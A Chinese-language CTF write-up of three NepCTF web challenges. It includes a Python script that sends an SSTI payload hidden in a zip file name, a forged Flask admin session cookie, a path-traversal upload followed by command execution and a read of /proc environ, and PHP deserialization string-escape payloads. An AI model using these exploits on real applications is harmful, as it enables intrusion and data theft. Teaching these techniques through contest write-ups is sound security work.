NepDouble
代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里
1 2
| if os.path.islink(new_file): return 'Symbolic links are not allowed.'
|
把软连接给ban了,就不能通过文件上传来解决问题了。
我们注意文件上传的这一段代码:
1 2 3 4 5 6 7 8
| files_list = [] for root, dirs, files in os.walk(unzip_folder): for file in files: file_path = os.path.join(root, file) relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER']) link = f'<a href="/cat?file={relative_path}">{file}</a>' files_list.append(link) return render_template_string('<br>'.join(files_list))
|
link被加入了files_list,然后files_list会被加入网页进行模版渲染,而且link的{file},也就是文件名我们可控,这就相当于是ssti模版注入了。
直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests import zipfile import os
url = 'https://neptune-26461.nepctf.lemonprefect.cn/'
payload = "{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat flag').read()}}"
file_path = f"C:\\Users\\13664\\Desktop\\{payload}" f = open(file_path, 'w+') f.close() zip = zipfile.ZipFile(r"C:\Users\13664\Desktop\flag.zip", 'w', zipfile.ZIP_DEFLATED) zip.write(file_path) zip.close()
files = {'tp_file': open(r'C:\Users\13664\Desktop\flag.zip', 'rb')}
res = requests.post(url=url, files=files) print(res.text)
os.remove(file_path)
|
这个题出的挺好的。
蹦蹦炸弹(boom_it)
这个题也是一堆障眼法,什么账号密码什么金钱数量都是没用的。主要就是这一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @app.route('/admin/dashboard', methods=['GET', 'POST']) def admin_dashboard(): if not session.get('admin_logged_in'): return redirect(url_for('admin'))
if request.method == 'POST': if 'file' in request.files: file = request.files['file'] if file.filename == '': return 'No selected file' filename = file.filename file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return 'File uploaded successfully'
cmd_output = "" if 'cmd' in request.args: if os.path.exists("lock.txt"): cmd = request.args.get('cmd') try: cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8') except Exception as e: cmd_output = str(e) else: cmd_output = "lock.txt not found. Command execution not allowed." return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")
|
首先会验证我是否是admin登录,这里需要伪造jwt,但是key在哪呢?
1
| app.secret_key = "super_secret_key"
|
这就是key,y1s1我真的服了。
然后利用flask_session_cookie_manager3.py伪造jwt
1
| python .\flask_session_cookie_manager3.py encode -s "super_secret_key" -t "{'username':'admin','admin_logged_in':True}"
|
得到admin的session:eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW5fbG9nZ2VkX2luIjp0cnVlfQ.ZsrqeQ.67ozPrRCkESW85eLT_z39M3RAY4
打入cookie之后就可以进/admin/dashboard了。
这里传入cmd参数就可以执行命令,但是有个前提条件,是当前目录要有lock.txt。然后旁边还有个文件上传的地方,我们这里就需要上传一个lock.txt到当前目录下。
但是默认上传路径是templates/uploads/
,由于这里没有对文件名进行任何过滤,我们可以通过目录穿越的方式把文件传到当前目录。
1 2 3 4
| Content-Disposition: form-data; name="file"; filename="../../lock.txt" Content-Type: text/plain
aaa
|
传入的文件名为../../lock.txt
系统就会把lock.txt放到当前目录了。
然后开始执行命令,这里flag是没有权限读取的。
故意输入错误命令,令其报错:
注意到程序在我们输入的命令前方还拼接了一条GZCTF_FLAG=0,这里也就是清理了环境变量里的flag。
那是不是说明在环境启动的之后,在这条命令执行之前,flag是确确实实存在过环境变量里的呢?
答案是肯定的,所以我们输入ps命令查看进程启动情况。
然后cat /proc/21/environ里找到了flag
PHP_MASTER!!
基本是做过的很类似的题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php highlight_file( __FILE__); error_reporting(0);
function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); } class A{ public $key; public function readflag(){ if($this->key=== "\0key\0"){ $a = $_POST[1]; $contents = file_get_contents($a); file_put_contents($a, $contents); } } }
class B { public $b; public function __tostring() { if(preg_match("/\[|\]/i", $_GET['nep'])){ die("NONONO!!!"); } $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]"); echo $str; if ($str==='NepCTF]'){ return ($this->b) (); } } } class C { public $s; public $str; public function __construct($s) { $this->s = $s; } public function __destruct() { echo $this ->str; } } $ser = serialize(new C($_GET['c'])); $data = str_ireplace("\0","00",$ser); unserialize($data);
|
这道题的A::readflag()方法是没用的,这里读不到flag。而B类最后的return ($this->b) ();
倒是可以执行任意无参方法。这里可以执行phpinfo,flag就在环境变量里。
C类的echo $this ->str;
可以触发B类的__tostring()
这里我们可控的只有C类的$s,而我们想要$str成为B类的一个实例化对象。这里序列化之后的$ser会进去一个replace,\0会变成00,也就是我们传入%00(这是一个字符),会变成00(两个字符)。可以尝试用字符串逃逸的方法达到效果。
我们需要的序列化字符串:
1
| O:1:"C":2:{s:1:"s";s:1:"a";s:3:"str";O:1:"B":1:{s:1:"b";N;}}
|
注意我们可控的s后面的部分:";s:3:"str";O:1:"B":1:{s:1:"b";N;}}
这就是我们需要逃逸的部分,一个%00可以逃逸一个字符,而我们需要逃逸35个字符,就需要35个%00
payload:
1
| ?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";N;}}
|
这样就可以到B类的__tostring()
方法了。
同样的,我们还需要让B类的$b变成phpinfo,照猫画虎,我们需要逃逸的部分是:
1
| ";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}
|
一共47个字符,那么我们就需要47个%00
payload:
1
| ?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}
|
1 2 3 4 5 6 7 8
| if(preg_match("/\[|\]/i", $_GET['nep'])){ die("NONONO!!!"); } $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]"); echo $str; if ($str==='NepCTF]'){ return ($this->b) (); }
|
关于这里面的逃逸,大家可以去看 https://www.cnblogs.com/EddieMurphy-blogs/p/18310518
这里不再赘述了。主要是注意一下%f0吞字符的取整。
总payload:
1
| ?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0&nep=NepCTNep
|